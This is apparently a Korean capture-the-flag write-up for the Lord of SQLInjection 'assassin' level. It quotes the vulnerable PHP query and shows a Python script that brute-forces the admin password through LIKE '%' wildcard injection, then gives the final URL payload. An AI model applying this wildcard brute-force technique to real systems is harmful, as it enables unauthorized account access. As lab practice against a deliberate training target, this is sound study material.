[LOS] assassin 풀이
PHP & query
http://www.wechall.net
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>select id from prob_assassin where pw like ''
문제 풀이
더보기
solve 조건
if($result['id'] == 'admin') solve("assassin"); %를 이용해 대략적인 패스워드를 추측하면 해결된다.
특수문자 제약
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
싱글 쿼터를 사용하지 못한다.
Python code
import requests
URL='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠키값'}
password = '90'
length=0;
for i in range(100):
for j in range(ord('0'),ord('9')+1):
query={'pw':password+chr(j)+'%'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if('Hello admin' in res.text):
password = password +chr(j)
print(password)
코드를 돌리면 guest밖에 나오지 않는다 admin과 비밀번호가 겹쳐 나오는 현상이다.
13 번 라인을 Hello guest로 먼저 추측한후 다음 sql을 돌린다.
URL
los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902%
'CTF > LOS' 카테고리의 다른 글
| [LOS] zombie_assassin 풀이 - 17번 (10) | 2020.09.17 |
|---|---|
| [LOS] succubus 풀이 -16번 (0) | 2020.09.17 |
| [LOS] glant 풀이- 14번 (0) | 2020.09.16 |
| [LOS] bugbear 풀이 - 13번 (0) | 2020.09.16 |
| [LOS] darkknight 풀이 - 12번 (0) | 2020.09.16 |